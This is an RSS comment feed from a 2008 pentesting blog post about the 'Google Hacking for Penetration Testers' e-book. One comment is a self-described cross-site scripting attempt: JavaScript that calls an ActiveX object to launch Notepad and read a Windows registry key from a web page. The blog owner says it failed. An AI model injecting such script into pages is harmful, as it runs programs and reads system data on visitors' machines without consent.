<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Google Hacking for Penetration Testers (free e-book download)</title>
	<atom:link href="http://www.mypentest.com/google-hacking-free-ebook/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mypentest.com/google-hacking-free-ebook/</link>
	<description>Penetration Testing Web applications</description>
	<pubDate>Sun, 23 Nov 2008 14:13:30 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: kurthin</title>
		<link>http://www.mypentest.com/google-hacking-free-ebook/#comment-14</link>
		<dc:creator>kurthin</dc:creator>
		<pubDate>Mon, 05 May 2008 17:26:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.mypentest.com/google-hacking-free-ebook/#comment-14</guid>
		<description>The free download has been removed?

&lt;em&gt;[Stuart's Reply: Yes. Scribd has removed the content for copyright reasons.]&lt;/em&gt;</description>
		<content:encoded><![CDATA[<p>The free download has been removed?</p>
<p><em>[Stuart's Reply: Yes. Scribd has removed the content for copyright reasons.]</em></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Linden</title>
		<link>http://www.mypentest.com/google-hacking-free-ebook/#comment-6</link>
		<dc:creator>Linden</dc:creator>
		<pubDate>Wed, 02 Jan 2008 06:16:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.mypentest.com/google-hacking-free-ebook/#comment-6</guid>
		<description>Ummm, cross-site scripting? Even if this hasn't been approved, it might still hack you...mwahahahaha...don't worry its not malicious, check if the object HTML is there tho...

function spawn2()
{
  myObject = document.getElementById("o2obj");
  myResults = document.getElementById("results");
  myResults.innerHTML = '(running tests...)';
  try
  {
    myObject.LaunchApp("c:\\windows\\system32\\notepad.exe","",1);
    var ret=myObject.GetRegValue("HKEY_LOCAL_MACHINE","SOFTWARE\\Classes\\CLSID\\"+
		                             "{62DDEB79-15B2-41E3-8834-D3B80493887A}\\InprocServer32","");
    myResults.innerHTML = 'Your system does indeed manifest the security flaw!'+
                          'Please be very careful about accessing '+
                          'unknown websites/HTMLfiles until the security flaw is fixed.'+
                          'Offending DLL: '+ret+''+
                          'I just read your registry and opened Notepad all from within a simple HTML page!!!';
    return;
  }
  catch(err)
  {
    //alert("Your system does not seem to manifest the security flaw!\n"+"error message: "+err);
    myResults.innerHTML = 'Your system does not seem to manifest the security flaw!&lt;/a&gt;'+
                          'error message: '+err;
    return;
  }
}

&lt;em&gt;[Stuart's Reply: Your cross-site scripting attempt did not work. Thanks for the note about volume 2 of the book. :)]&lt;/em&gt;
</description>
		<content:encoded><![CDATA[<p>Ummm, cross-site scripting? Even if this hasn&#8217;t been approved, it might still hack you&#8230;mwahahahaha&#8230;don&#8217;t worry its not malicious, check if the object HTML is there tho&#8230;</p>
<p>function spawn2()<br />
{<br />
  myObject = document.getElementById(&#8221;o2obj&#8221;);<br />
  myResults = document.getElementById(&#8221;results&#8221;);<br />
  myResults.innerHTML = &#8216;(running tests&#8230;)&#8217;;<br />
  try<br />
  {<br />
    myObject.LaunchApp(&#8221;c:\\windows\\system32\\notepad.exe&#8221;,&#8221;",1);<br />
    var ret=myObject.GetRegValue(&#8221;HKEY_LOCAL_MACHINE&#8221;,&#8221;SOFTWARE\\Classes\\CLSID\\&#8221;+<br />
		                             &#8220;{62DDEB79-15B2-41E3-8834-D3B80493887A}\\InprocServer32&#8243;,&#8221;");<br />
    myResults.innerHTML = &#8216;Your system does indeed manifest the security flaw!&#8217;+<br />
                          &#8216;Please be very careful about accessing &#8216;+<br />
                          &#8216;unknown websites/HTMLfiles until the security flaw is fixed.&#8217;+<br />
                          &#8216;Offending DLL: &#8216;+ret+&#8221;+<br />
                          &#8216;I just read your registry and opened Notepad all from within a simple HTML page!!!&#8217;;<br />
    return;<br />
  }<br />
  catch(err)<br />
  {<br />
    //alert(&#8221;Your system does not seem to manifest the security flaw!\n&#8221;+&#8221;error message: &#8220;+err);<br />
    myResults.innerHTML = &#8216;Your system does not seem to manifest the security flaw!&#8216;+<br />
                          &#8216;error message: &#8216;+err;<br />
    return;<br />
  }<br />
}</p>
<p><em>[Stuart's Reply: Your cross-site scripting attempt did not work. Thanks for the note about volume 2 of the book. :)]</em></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Linden</title>
		<link>http://www.mypentest.com/google-hacking-free-ebook/#comment-5</link>
		<dc:creator>Linden</dc:creator>
		<pubDate>Wed, 02 Jan 2008 05:13:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.mypentest.com/google-hacking-free-ebook/#comment-5</guid>
		<description>A 'volume 2' of this book has been released more recently..aptly named 'Google Hacking for Penetration Testers, Volume 2' (on &lt;a href="http://www.amazon.com/Google-Hacking-Penetration-Testers-2/dp/1597491764/" rel="nofollow"&gt;amazon&lt;/a&gt;).

&lt;em&gt;[Stuart's Reply: Definitely worth checking out...]&lt;/em&gt;</description>
		<content:encoded><![CDATA[<p>A &#8216;volume 2&#8242; of this book has been released more recently..aptly named &#8216;Google Hacking for Penetration Testers, Volume 2&#8242; (on <a href="http://www.amazon.com/Google-Hacking-Penetration-Testers-2/dp/1597491764/" rel="nofollow">amazon</a>).</p>
<p><em>[Stuart's Reply: Definitely worth checking out...]</em></p>
]]></content:encoded>
	</item>
</channel>
</rss>
